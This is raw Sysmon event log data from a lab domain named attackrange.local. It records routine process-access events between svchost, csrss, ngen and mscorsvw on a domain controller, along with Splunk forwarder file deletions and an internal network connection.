14:45:10.440{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-6F76-613B-050A-00000000F001}4120C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044990Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:10.410{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F76-613B-050A-00000000F001}4120C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000044989Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:10.410{7BD73061-6F29-613B-3508-00000000F001}70326280C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe{7BD73061-6F76-613B-050A-00000000F001}4120C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+3965|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+aafe|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a457|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a19d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a055|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+77c6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2d26|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+9828|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+74ce|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+7395|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2bd9|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+8c07|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2130|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+1f0f|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+29e1|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2969|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044988Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:10.350{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-6F76-613B-040A-00000000F001}5180C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044987Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:10.322{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-6F76-613B-040A-00000000F001}5180C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000044986Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:10.322{7BD73061-6F29-613B-3508-00000000F001}70326280C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe{7BD73061-6F76-613B-040A-00000000F001}5180C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+3965|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+aafe|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a457|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a19d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a055|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+77c6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2d26|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+9828|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+74ce|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+7395|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2bd9|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+8c07|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2130|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+1f0f|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+29e1|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2969|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044985Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:10.190{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-6F76-613B-030A-00000000F001}5116C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044984Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:10.170{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F76-613B-030A-00000000F001}5116C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000044983Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:10.170{7BD73061-6F29-613B-3508-00000000F001}70326280C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe{7BD73061-6F76-613B-030A-00000000F001}5116C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+3965|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+aafe|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a457|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a19d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a055|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+77c6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2d26|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+9828|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+74ce|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+7395|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2bd9|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+8c07|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2130|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+1f0f|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+29e1|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2969|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000044982Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:10.148{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=5511E3C29B48084F86992AD075C23A09,SHA256=B6AAB696349567B61257AABD69F2EBACAD0CCF25242D74BF8F1D1FBDFCBCD39F,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000013990Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:45:07.448{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50125-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 23542300x800000000000000013992Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:45:11.842{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=0AA6D8301771508740B4920DFDB43B0B,SHA256=E3F6C4DC59EE50CCC66E58E931AF2941CC297844EB9F16578059FF66CA4301CA,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000045059Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:11.975{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-6F77-613B-1A0A-00000000F001}6396C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045058Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:11.955{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F77-613B-1A0A-00000000F001}6396C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000045057Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:11.955{7BD73061-6F29-613B-3508-00000000F001}70326280C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe{7BD73061-6F77-613B-1A0A-00000000F001}6396C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x103801C:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+3965|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+aafe|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a457|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a19d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a055|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+77c6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2d26|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+9828|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+74ce|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+7395|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2bd9|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+8c07|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2130|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+1f0f|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+29e1|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2969|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000045056Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:11.905{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=6635D8CC559D629A4F9CAEC726E92AFA,SHA256=23A2825DED5A25FC157F860C72290181191BB87C05066FE761BA7EDCCF368015,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000045055Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:11.855{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-6F77-613B-190A-00000000F001}5036C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045054Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:11.845{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6F77-613B-190A-00000000F001}5036C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000045053Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:11.845{7BD73061-6F29-613B-3508-00000000F001}70326280C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe{7BD73061-6F77-613B-190A-00000000F001}5036C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x103801C:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+3965|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+aafe|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a457|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a19d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a055|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+77c6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2d26|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+9828|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+74ce|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+7395|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2bd9|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+8c07|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2130|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+1f0f|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+29e1|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2969|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045052Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:11.785{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-6F77-613B-180A-00000000F001}3436C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045051Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:11.773{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F77-613B-180A-00000000F001}3436C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000045050Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:11.773{7BD73061-6F29-613B-3508-00000000F001}70326280C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe{7BD73061-6F77-613B-180A-00000000F001}3436C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+3965|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+aafe|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a457|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a19d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a055|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+77c6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2d26|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+9828|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+74ce|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+7395|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2bd9|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+8c07|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2130|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+1f0f|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+29e1|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2969|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045049Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:11.714{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-6F77-613B-170A-00000000F001}6812C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045048Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:11.704{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F77-613B-170A-00000000F001}6812C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000045047Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:11.704{7BD73061-6F29-613B-3508-00000000F001}70326280C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe{7BD73061-6F77-613B-170A-00000000F001}6812C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x103801C:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+3965|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+aafe|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a457|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a19d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a055|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+77c6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2d26|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+9828|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+74ce|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+7395|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2bd9|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+8c07|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2130|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+1f0f|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+29e1|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2969|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045046Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:11.604{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-6F77-613B-160A-00000000F001}3480C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 